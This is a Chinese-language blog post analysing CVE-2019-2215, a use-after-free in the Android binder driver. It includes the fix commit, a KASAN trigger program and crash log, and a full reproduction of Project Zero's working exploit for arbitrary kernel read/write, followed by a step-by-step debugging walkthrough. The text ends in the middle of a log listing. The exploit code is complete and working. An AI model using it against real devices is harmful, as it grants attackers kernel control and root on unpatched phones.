The quiter you become,the more you are able to hear!

CVE-2019-2215 Binder 内核提权漏洞简要分析

Author: geneblue

Blog: https://geneblue.github.io/

距离上一个 binder 漏洞(水滴 CVE-2019-2025)只过去寥寥数月,在国庆期间,Android 内核又被爆出一个 binder 内核提权漏洞。宇宙最强安全团队 google pj0 已经给出了漏洞细节,详情可以看这里。看来 binder 模块还是值得长期关注的。这篇文章主要解释 google poc 的利用原理。

分析

先来看看 fix commit 吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
ANDROID: binder: remove waitqueue when thread exits.

commit f5cb779 upstream.

binder_poll() passes the thread->wait waitqueue that
can be slept on for work. When a thread that uses
epoll explicitly exits using BINDER_THREAD_EXIT,
the waitqueue is freed, but it is never removed
from the corresponding epoll data structure. When
the process subsequently exits, the epoll cleanup
code tries to access the waitlist, which results in
a use-after-free.

Prevent this by using POLLFREE when the thread exits.

Signed-off-by: Martijn Coenen <maco@android.com>
Reported-by: syzbot <syzkaller@googlegroups.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>


diff --git a/drivers/android/binder.c b/drivers/android/binder.c
index a340766..2ef8bd2 100644
--- a/drivers/android/binder.c
+++ b/drivers/android/binder.c
@@ -4302,6 +4302,18 @@ static int binder_thread_release(struct binder_proc *proc,
if (t)
spin_lock(&t->lock);
}
+
+ /*
+ * If this thread used poll, make sure we remove the waitqueue
+ * from any epoll data structures holding it with POLLFREE.
+ * waitqueue_active() is safe to use here because we're holding
+ * the inner lock.
+ */
+ if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
+ waitqueue_active(&thread->wait)) {
+ wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
+ }
+
binder_inner_proc_unlock(thread->proc);

if (send_reply)

原来这个漏洞是 linux 内核 fuzz 工具 syzkaller 上报的。从 commit 看,这是一个 UAF 问题, 函数 binder_thread_release() 用于释放 thread 结构数据,但当使用 epoll 对 binder fd 做 IO 复用时,该函数并没有在 release 的时候将 thread->wait 从 epoll 的内核链表中剔除。之后,进程退出或调用 epoll 清理操作时,内核会遍历删除 epoll 内核链表,这会再次访问之前已经释放的 thread 结构数据,UAF 产生。

UAF 的利用过程一般是,先确定 UAF 的结构数据是谁,如果该结构中有直接可用的函数指针,heapspray 等占位方式覆盖该指针,后期触发该函数即可控制 pc,这种情况比较少;对于有链表的情况,覆盖占位链表结构,触发时观察对链表的修改情况,再判断能否做内核读写;其他情形嘛,直接填充满非法数据比如 0xdeadc0dedeadc0de 之类的,看看内核啥反应。

POC

在开启 KASAN 的内核中,一个可触发 KASAN 的poc 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define BINDER_THREAD_EXIT 0x40046208ul

int main()
{
int fd, epfd;
struct epoll_event event = { .events = EPOLLIN };

fd = open("/dev/binder0", O_RDONLY);
epfd = epoll_create(1000);
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
}

KASAN crash log:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
[  464.504747] c0   3033 BUG: KASAN: use-after-free in remove_wait_queue+0x48/0x90
[ 464.511836] c0 3033 Write of size 8 at addr 0000000000000000 by task new.out/3033
[ 464.518893] c0 3033
[ 464.526548] c0 3033 CPU: 0 PID: 3033 Comm: new.out Tainted: G C 4.4.177-ga9e0ec5cb774 #1
[ 464.529044] c0 3033 Hardware name: Qualcomm Technologies, Inc. MSM8998 v2.1 (DT)
[ 464.538334] c0 3033 Call trace:
[ 464.545928] c0 3033 [<ffffff900808f0e8>] dump_backtrace+0x0/0x34c
[ 464.549328] c0 3033 [<ffffff900808f574>] show_stack+0x1c/0x24
[ 464.555411] c0 3033 [<ffffff900858bcc8>] dump_stack+0xb8/0xe8
[ 464.561319] c0 3033 [<ffffff90082b1ecc>] print_address_description+0x94/0x334
[ 464.567219] c0 3033 [<ffffff90082b23f0>] kasan_report+0x1f8/0x340
[ 464.574501] c0 3033 [<ffffff90082b0740>] __asan_store8+0x74/0x90
[ 464.580753] c0 3033 [<ffffff9008139fc0>] remove_wait_queue+0x48/0x90
[ 464.587125] c0 3033 [<ffffff9008336874>] ep_unregister_pollwait.isra.8+0xa8/0xec
[ 464.593617] c0 3033 [<ffffff9008337744>] ep_free+0x74/0x11c
[ 464.601149] c0 3033 [<ffffff9008337820>] ep_eventpoll_release+0x34/0x48
[ 464.606988] c0 3033 [<ffffff90082c589c>] __fput+0x10c/0x32c
[ 464.613724] c0 3033 [<ffffff90082c5b38>] ____fput+0x18/0x20
[ 464.619463] c0 3033 [<ffffff90080eefdc>] task_work_run+0xd0/0x128
[ 464.625193] c0 3033 [<ffffff90080bd890>] do_exit+0x3e4/0x1198
[ 464.631260] c0 3033 [<ffffff90080c0ff8>] do_group_exit+0x7c/0x128
[ 464.637167] c0 3033 [<ffffff90080c10c4>] __wake_up_parent+0x0/0x44
[ 464.643421] c0 3033 [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
[ 464.649944] c0 3033
[ 464.655899] c0 3033 Allocated by task 3033:
[ 464.658257] [<ffffff900808e5a4>] save_stack_trace_tsk+0x0/0x204
[ 464.663899] [<ffffff900808e7c8>] save_stack_trace+0x20/0x28
[ 464.669882] [<ffffff90082b0b14>] kasan_kmalloc.part.5+0x50/0x124
[ 464.675528] [<ffffff90082b0e38>] kasan_kmalloc+0xc4/0xe4
[ 464.681597] [<ffffff90082ac8a4>] kmem_cache_alloc_trace+0x12c/0x240
[ 464.686992] [<ffffff90094093c0>] binder_get_thread+0xdc/0x384
[ 464.693319] [<ffffff900940969c>] binder_poll+0x34/0x1bc
[ 464.699127] [<ffffff900833839c>] SyS_epoll_ctl+0x704/0xf84
[ 464.704423] [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
[ 464.709971] c0 3033
[ 464.714124] c0 3033 Freed by task 3033:
[ 464.716396] [<ffffff900808e5a4>] save_stack_trace_tsk+0x0/0x204
[ 464.721699] [<ffffff900808e7c8>] save_stack_trace+0x20/0x28
[ 464.727678] [<ffffff90082b16a4>] kasan_slab_free+0xb0/0x1c0
[ 464.733322] [<ffffff90082ae214>] kfree+0x8c/0x2b4
[ 464.738952] [<ffffff900940ac00>] binder_thread_dec_tmpref+0x15c/0x1c0
[ 464.743750] [<ffffff900940d590>] binder_thread_release+0x284/0x2e0
[ 464.750253] [<ffffff90094149e0>] binder_ioctl+0x6f4/0x3664
[ 464.756498] [<ffffff90082e1364>] do_vfs_ioctl+0x7f0/0xd58
[ 464.762052] [<ffffff90082e1968>] SyS_ioctl+0x9c/0xc0
[ 464.767513] [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
[ 464.772554] c0 3033
[ 464.776731] c0 3033 The buggy address belongs to the object at 0000000000000000
[ 464.776731] c0 3033 which belongs to the cache kmalloc-512 of size 512
[ 464.779151] c0 3033 The buggy address is located 176 bytes inside of
[ 464.779151] c0 3033 512-byte region [0000000000000000, 0000000000000000)
[ 464.793269] c0 3033 The buggy address belongs to the page:

从 kasan 的 log 中,我们可以得到 uaf 触发时的调用链。

漏洞作者 Maddie Stone 贴心的给出一份可利用的 poc,从这份 poc 看,显然该漏洞是可以做到内核任意地址读写的。能做到任意读写,就能随意折腾内核,做过内核提权的同学,想必对接下来的套路就比较熟悉了。

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
/*
* POC to gain arbitrary kernel R/W access using CVE-2019-2215
* https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
*
* Jann Horn & Maddie Stone of Google Project Zero
*
* 3 October 2019
*/

#define _GNU_SOURCE
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <ctype.h>
#include <sys/uio.h>
#include <err.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sched.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>

#define BINDER_THREAD_EXIT 0x40046208ul
// NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
#define BINDER_THREAD_SZ 0x190
#define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25
#define WAITQUEUE_OFFSET 0xA0
#define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10

void hexdump_memory(unsigned char *buf, size_t byte_count) {
unsigned long byte_offset_start = 0;
if (byte_count % 16)
errx(1, "hexdump_memory called with non-full line");
for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count;
byte_offset += 16) {
char line[1000];
char *linep = line;
linep += sprintf(linep, "%08lx ", byte_offset);
for (int i=0; i<16; i++) {
linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]);
}
linep += sprintf(linep, " |");
for (int i=0; i<16; i++) {
char c = buf[byte_offset + i];
if (isalnum(c) || ispunct(c) || c == ' ') {
*(linep++) = c;
} else {
*(linep++) = '.';
}
}
linep += sprintf(linep, "|");
puts(line);
}
}

int epfd;

void *dummy_page_4g_aligned;
unsigned long current_ptr;
int binder_fd;

void leak_task_struct(void)
{
struct epoll_event event = { .events = EPOLLIN };
if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));

iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0x1000; /* wq->task_list->next */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x1000;

int b;

int pipefd[2];
if (pipe(pipefd)) err(1, "pipe");
if (fcntl(pipefd[0], F_SETPIPE_SZ, 0x1000) != 0x1000) err(1, "pipe size");
static char page_buffer[0x1000];
//if (write(pipefd[1], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "fill pipe");

pid_t fork_ret = fork();
if (fork_ret == -1) err(1, "fork");
if (fork_ret == 0){
/* Child process */
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(2);
printf("CHILD: Doing EPOLL_CTL_DEL.\n");
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
printf("CHILD: Finished EPOLL_CTL_DEL.\n");
// first page: dummy data
if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
close(pipefd[1]);
printf("CHILD: Finished write to FIFO.\n");

exit(0);
}
//printf("PARENT: Calling READV\n");
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
printf("writev() returns 0x%x\n", (unsigned int)b);
// second page: leaked data
if (read(pipefd[0], page_buffer, sizeof(page_buffer)) != sizeof(page_buffer)) err(1, "read full pipe");
//hexdump_memory((unsigned char *)page_buffer, sizeof(page_buffer));

printf("PARENT: Finished calling READV\n");
int status;
if (wait(&status) != fork_ret) err(1, "wait");

current_ptr = *(unsigned long *)(page_buffer + 0xe8);
printf("current_ptr == 0x%lx\n", current_ptr);
}

void clobber_addr_limit(void)
{
struct epoll_event event = { .events = EPOLLIN };
if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));

unsigned long second_write_chunk[] = {
1, /* iov_len */
0xdeadbeef, /* iov_base (already used) */
0x8 + 2 * 0x10, /* iov_len (already used) */
current_ptr + 0x8, /* next iov_base (addr_limit) */
8, /* next iov_len (sizeof(addr_limit)) */
0xfffffffffffffffe /* value to write */
};

iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummy_page_4g_aligned; /* spinlock in the low address half must be zero */
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 1; /* wq->task_list->next */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (void *)0xDEADBEEF; /* wq->task_list->prev */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = 0x8 + 2 * 0x10; /* iov_len of previous, then this element and next element */
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (void *)0xBEEFDEAD;
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = 8; /* should be correct from the start, kernel will sum up lengths when importing */

int socks[2];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, socks)) err(1, "socketpair");
if (write(socks[1], "X", 1) != 1) err(1, "write socket dummy byte");

pid_t fork_ret = fork();
if (fork_ret == -1) err(1, "fork");
if (fork_ret == 0){
/* Child process */
prctl(PR_SET_PDEATHSIG, SIGKILL);
sleep(2);
printf("CHILD: Doing EPOLL_CTL_DEL.\n");
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
printf("CHILD: Finished EPOLL_CTL_DEL.\n");
if (write(socks[1], second_write_chunk, sizeof(second_write_chunk)) != sizeof(second_write_chunk))
err(1, "write second chunk to socket");
exit(0);
}
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
struct msghdr msg = {
.msg_iov = iovec_array,
.msg_iovlen = IOVEC_ARRAY_SZ
};
int recvmsg_result = recvmsg(socks[0], &msg, MSG_WAITALL);
printf("recvmsg() returns %d, expected %lu\n", recvmsg_result,
(unsigned long)(iovec_array[IOVEC_INDX_FOR_WQ].iov_len +
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len +
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len));
}

int kernel_rw_pipe[2];
void kernel_write(unsigned long kaddr, void *buf, unsigned long len) {
errno = 0;
if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
if (write(kernel_rw_pipe[1], buf, len) != len) err(1, "kernel_write failed to load userspace buffer");
if (read(kernel_rw_pipe[0], (void*)kaddr, len) != len) err(1, "kernel_write failed to overwrite kernel memory");
}
void kernel_read(unsigned long kaddr, void *buf, unsigned long len) {
errno = 0;
if (len > 0x1000) errx(1, "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
if (write(kernel_rw_pipe[1], (void*)kaddr, len) != len) err(1, "kernel_read failed to read kernel memory");
if (read(kernel_rw_pipe[0], buf, len) != len) err(1, "kernel_read failed to write out to userspace");
}
unsigned long kernel_read_ulong(unsigned long kaddr) {
unsigned long data;
kernel_read(kaddr, &data, sizeof(data));
return data;
}
void kernel_write_ulong(unsigned long kaddr, unsigned long data) {
kernel_write(kaddr, &data, sizeof(data));
}
void kernel_write_uint(unsigned long kaddr, unsigned int data) {
kernel_write(kaddr, &data, sizeof(data));
}

// Linux localhost 4.4.177-g83bee1dc48e8 #1 SMP PREEMPT Mon Jul 22 20:12:03 UTC 2019 aarch64
// data from `pahole` on my own build with the same .config
#define OFFSET__task_struct__mm 0x520
#define OFFSET__task_struct__cred 0x790
#define OFFSET__mm_struct__user_ns 0x300
#define OFFSET__uts_namespace__name__version 0xc7
// SYMBOL_* are relative to _head; data from /proc/kallsyms on userdebug
#define SYMBOL__init_user_ns 0x202f2c8
#define SYMBOL__init_task 0x20257d0
#define SYMBOL__init_uts_ns 0x20255c0

int main(void) {
printf("Starting POC\n");
//pin_to(0);

dummy_page_4g_aligned = mmap((void*)0x100000000UL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if (dummy_page_4g_aligned != (void*)0x100000000UL)
err(1, "mmap 4g aligned");
if (pipe(kernel_rw_pipe)) err(1, "kernel_rw_pipe");

binder_fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
leak_task_struct();
clobber_addr_limit();

setbuf(stdout, NULL);
printf("should have stable kernel R/W now\n");

/* in case you want to do stuff with the creds, to show that you can get them: */
unsigned long current_mm = kernel_read_ulong(current_ptr + OFFSET__task_struct__mm);
printf("current->mm == 0x%lx\n", current_mm);
unsigned long current_user_ns = kernel_read_ulong(current_mm + OFFSET__mm_struct__user_ns);
printf("current->mm->user_ns == 0x%lx\n", current_user_ns);
unsigned long kernel_base = current_user_ns - SYMBOL__init_user_ns;
printf("kernel base is 0x%lx\n", kernel_base);
if (kernel_base & 0xfffUL) errx(1, "bad kernel base (not 0x...000)");
unsigned long init_task = kernel_base + SYMBOL__init_task;
printf("&init_task == 0x%lx\n", init_task);
unsigned long init_task_cred = kernel_read_ulong(init_task + OFFSET__task_struct__cred);
printf("init_task.cred == 0x%lx\n", init_task_cred);
unsigned long my_cred = kernel_read_ulong(current_ptr + OFFSET__task_struct__cred);
printf("current->cred == 0x%lx\n", my_cred);

unsigned long init_uts_ns = kernel_base + SYMBOL__init_uts_ns;
char new_uts_version[] = "EXPLOITED KERNEL";
kernel_write(init_uts_ns + OFFSET__uts_namespace__name__version, new_uts_version, sizeof(new_uts_version));
}

这份 poc 还是比较简洁的,在简单阅读完该 poc 后,我发现该漏洞做到内核读写竟然不需要一个硬编码地址,这意味着该漏洞的通用性会比较好,呃~~~,应该好好学习一下。遗憾的是这个漏洞影响范围比较小,目前已知只影响数款机型,这个原因 google 的漏洞细节里有说。从上面可以看出,void leak_task_struct(void)void clobber_addr_limit(void) 是利用的两个关键函数。本文也主要解释这两个函数做利用的过程。

从 commit 看,struct binder_thread thread; 结构就是 UAF 的对象,该结构成员如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct binder_thread {
struct binder_proc *proc;
struct rb_node rb_node;
struct list_head waiting_thread_node;
int pid;
int looper; /* only modified by this thread */
bool looper_need_return; /* can be written by other thread */
struct binder_transaction *transaction_stack;
struct list_head todo;
bool process_todo;
struct binder_error return_error;
struct binder_error reply_error;
wait_queue_head_t wait; // 1
struct binder_stats stats;
atomic_t tmp_ref;
bool is_dead;
struct task_struct *task; // 2
};

1 处是漏洞触发成员,2 处 task 指定当前 task_struct 内存位置,如果能直接泄漏该处内存中数值,我们就能直接得到当前进程 task_struct 在内核中的位置。做数据占位时,需要知道 thread 结构大小和 1 处成员的结构偏移,这个可以在 binder_get_thread() 函数处增加一些 log 日志获取。测试环境 android-goldfish-4.4-dev

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static struct binder_thread *binder_get_thread(struct binder_proc *proc)
{
int size;

...

if (!thread) {
size = sizeof(*thread);

printk(KERN_INFO "POC: %s: binder_thread size: 0x%x wait offset = 0x%x stats offset = 0x%x task offset = 0x%x\n", __func__, size, offsetof(typeof(*thread), wait), offsetof(typeof(*thread), stats), offsetof(typeof(*thread), task));

...
}
return thread;
}

结果:

1
2
3
POC: binder_get_thread: binder_thread size: 0x198  wait offset = 0xa0  stats offset = 0xb8 task offset = 0x190
POC: binder_get_thread: binder_thread size: 0x198 wait offset = 0xa0 stats offset = 0xb8 task offset = 0x190
POC: binder_get_thread: binder_thread size: 0x198 wait offset = 0xa0 stats offset = 0xb8 task offset = 0x190

调用占位函数做 heapspray 时,我们指定 0x198 大小就很有可能会占据已释放的 thread 结构内存,在 0xa0 处放置的数据需要根据情形构造。

void leak_task_struct(void)

函数 void leak_task_struct(void) 用于泄漏 task,这是如何做到的呢?

为了方便我们判断是否占位成功,我们在 static int binder_thread_relase() 中将 UAF 的 thread 结构的内存地址打印出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static int binder_thread_release()
{
...

// CVE-2019-2215 fix commit
// /*
// * If this thread used poll, make sure we remove the waitqueue
// * from any epoll data structures holding it with POLLFREE.
// * waitqueue_active() is safe to use here because we're holding
// * the inner lock.
// */
// if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
// waitqueue_active(&thread->wait)) {
// wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
// }

if (!strcmp("POCDEMO", current->comm)) {
printk(KERN_INFO "POC: %s: current = %p", __func__, current);
printk(KERN_INFO "POC: %s: thread = %p wait = %p task_list = %p prev = %p next = %p \n", __func__, thread, &(thread->wait), &(thread->wait.task_list), &(thread->wait.task_list.prev), &(thread->wait.task_list.next));
}

binder_inner_proc_unlock(thread->proc);
...
}

void leak_task_struct(void) 采用 pipe 做占位和泄漏,关于利用 pipe TOCTTOU(time of check to time of use) 的利用方式,可以参考 链表游戏:CVE-2017-10661之完全利用 一文,不过在这里 pipe 是用来泄漏数据的。

writev 的执行,占位过程的调用链如下:

pipe-heapspray

rw_copy_check_uvector() 上添加调试日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ssize_t rw_copy_check_uvector()
{
...
if (nr_segs > fast_segs) {
iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);
if (iov == NULL) {
ret = -ENOMEM;
goto out;
}
}

if (!strcmp("POCDEMO", current->comm)) {
printk(KERN_INFO "POC: %s: iov = %p iovlen = 0x%lx\n", __func__, iov, nr_segs);
}

if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {
ret = -EFAULT;
goto out;
}

...
}

执行 ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);,内核里会对应执行到 binder_thread_release() 释放 thread 结构数据;此时,调用 writev 执行 rw_copy_check_uvector() 分配的 iov 就很大概率是之前 thread 的内存。

截取关键日志:

leak-log1

占位的成功率还是比较高的。

接下来,执行 epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); 触发漏洞,该函数在内核中执行链是:

epoll-trigger

我们在 remove_wait_queue() 中添加添加日志信息,观察漏洞触发前后 wait_queue_head_t 内存的变化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void remove_wait_queue(wait_queue_head_t *q, wait_queue_t *wait)
{
unsigned long flags;

if (!strcmp("POCDEMO", current->comm)) {
printk(KERN_INFO "POCDEMO_BEFOR: %s: wait = %p task_list = %p prev = %p next = %p \n", __func__, wait, &(wait->task_list), &(wait->task_list.prev), &(wait->task_list.next));
printk(KERN_INFO "POCDEMO_BEFOR: %s: whead = %p task_list = %p prev = %p next = %p \n", __func__, q, &(q->task_list), &(q->task_list.prev), &(q->task_list.next));
printk(KERN_INFO "POCDEMO_BEFOR: %s: 0x%lx 0x%lx 0x%lx 0x%lx\n", __func__, *(unsigned long *)q, *((unsigned long *)q + 1), *((unsigned long *)q+2), *((unsigned long *)q+3));
// print_hex_dump_bytes("POCDEMO_BEFOR", DUMP_PREFIX_NONE, q, 0x20);
}

spin_lock_irqsave(&q->lock, flags);

if (!strcmp("POCDEMO", current->comm)) {
printk(KERN_INFO "POCDEMO_DEMOE: %s: [1] 0x%lx 0x%lx 0x%lx 0x%lx\n", __func__, *(unsigned long *)q, *((unsigned long *)q + 1), *((unsigned long *)q+2), *((unsigned long *)q+3));
}

__remove_wait_queue(q, wait);

if (!strcmp("POCDEMO", current->comm)) {
printk(KERN_INFO "POCDEMO_DEMOE: %s: [2] 0x%lx 0x%lx 0x%lx 0x%lx\n", __func__, *(unsigned long *)q, *((unsigned long *)q + 1), *((unsigned long *)q+2), *((unsigned long *)q+3));
}


spin_unlock_irqrestore(&q->lock, flags);

if (!strcmp("POCDEMO", current->comm)) {
printk(KERN_INFO "POCDEMO_AFTER: %s: wait = %p task_list = %p prev = %p next = %p \n", __func__, wait, &(wait->task_list), &(wait->task_list.prev), &(wait->task_list.next));
printk(KERN_INFO "POCDEMO_AFTER: %s: whead = %p task_list = %p prev = %p next = %p \n", __func__, q, &(q->task_list), &(q->task_list.prev), &(q->task_list.next));
// print_hex_dump_bytes("POCDEMO_AFTER", DUMP_PREFIX_NONE, q, 0x20);
printk(KERN_INFO "POCDEMO_AFTER: %s: 0x%lx 0x%lx 0x%lx 0x%lx\n", __func__, *(unsigned long *)q, *((unsigned long *)q + 1), *((unsigned long *)q+2), *((unsigned long *)q+3));
}
}
EXPORT_SYMBOL(remove_wait_queue);

leak-log2

多次调试发现, iovec_array[IOVEC_INDX_FOR_WQ+1].iov_base 值在漏洞触发时总会被写为 wait->task_list.next 的内存地址。关键内存区域数据前后变化如下图所示:

leak-data-change

漏洞触发后,iovec_array[IOVEC_INDX_FOR_WQ+1]iov_base 更改为 0xffffffc0572224a8iov_len 依然保持 0x1000,pipe read 的时候,将从 0xffffffc0572224a8 处开始读取 0x1000 大小的内存块,binder_thread 结构中的 *task 指针值将包含在此范围,这样就泄漏出了当前进程 task_struct 的内核地址。

void clobber_addr_limit(void)

函数 void clobber_addr_limit(void) 用于关闭掉进程 addr_limit,函数的关键是使用了 socket 做内存写,从函数名看,写的是 addr_limit ,熟悉提权相关的结构数据一般会知道 addr_limittask_struct 在内存中是紧挨着存放的,从 thread_info 结构中可以看出:

thread_info

当前进程的 thread_info 在内核栈中,所以 addr_limit 的地址是 task_struct 地址再加 0x8。

socketpair() 会创建一对连接好的 UNIX 族的全双工通信 socket,这与 pipe 返回的 fd 类似,只是任一个 fd 都可读可写的。

很明显,执行完 ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); 之后的 recvmsg() 是用来做数据填充的,占位刚刚释放的 binder_thread 内存。占位的调用链如下:

clobber_fill

这与上述 pipe 的占位过程一致。需要注意 recvmsg() 在占位完成后会阻塞住,直到写端的数据到来。写端有数据到来时会按照传入的 iovec_arrayiov_baseiov_len 顺序对应写入。

POC 中有两次写操作,分别写入 1 字节的 "X"second_write_chunk。没有漏洞的情形下,写入操作应该如下图所示:

recvmsg_write

0xDEADBEEF0xBEEFDEAD 是非法地址,在漏洞触发时,这两处地址应该会被更改掉。

copy_to_iter 调用链如下:

1
SyS_recvmsg() --> ___sys_recvmsg() --> sock_recvmsg() --> unix_stream_recvmsg() --> unix_stream_read_generic() --> unix_stream_read_actor() --> skb_copy_datagram_iter() --> copy_page_to_iter() --> copy_to_iter()

copy_to_iter() 中加入调试日志:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
size_t copy_to_iter(void *addr, size_t bytes, struct iov_iter *i)
{
int j;
char *from = addr;
if (unlikely(bytes > i->count))
bytes = i->count;

if (unlikely(!bytes))
return 0;

if (!strcmp("POCDEMO", current->comm)) {
printk(KERN_INFO "POCDEMO BE: %s: addr=0x%p bytes=0x%lx\n", __func__, addr, bytes);
printk(KERN_INFO "POCDEMO BE: %s: iov=0x%p type=0x%x offset=0x%lx count=0x%lx iov=%p segs=0x%lx iov->base=0x%p=0x%lx iov->len=0x%lx\n",
__func__,
i, i->type, i->iov_offset,
i->count, i->iov, i->nr_segs,
i->iov->iov_base, (unsigned long)(i->iov->iov_base), i->iov->iov_len);
for (j = 0; j < bytes/sizeof(unsigned long) + 1; j++) {
printk(KERN_INFO "POCDEMO BE: %s: 0x%lx --> 0x%lx\n", __func__,
(unsigned long)addr + j*sizeof(unsigned long),
*((unsigned long *)addr + j));
}

for (j = 0; j < (i->nr_segs)*2 + 2; j++) {
printk(KERN_INFO "POCDEMO BE: %s: iov value 0x%lx --> 0x%lx\n", __func__,
(unsigned long)(i->iov) + j*sizeof(unsigned long),
*((unsigned long *)(i->iov) + j));
}
}

iterate_and_advance(i, bytes, v,
__copy_to_user(v.iov_base, (from += v.iov_len) - v.iov_len,
v.iov_len),
memcpy_to_page(v.bv_page, v.bv_offset,
(from += v.bv_len) - v.bv_len, v.bv_len),
memcpy(v.iov_base, (from += v.iov_len) - v.iov_len, v.iov_len)
)

if (!strcmp("POCDEMO", current->comm)) {
for (j = 0; j < (i->nr_segs)*2 + 2; j++) {
printk(KERN_INFO "POCDEMO AF: %s: iov value 0x%lx --> 0x%lx\n", __func__,
(unsigned long)(i->iov) + j*sizeof(unsigned long),
*((unsigned long *)(i->iov) + j));
}

printk(KERN_INFO "POCDEMO AF: %s bytes=0x%lx\n\n\n", __func__, bytes);
}

return bytes;
}
EXPORT_SYMBOL(copy_to_iter);

多加些打印值,让我们观察前后数据变化,日志比较长,择取关键如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
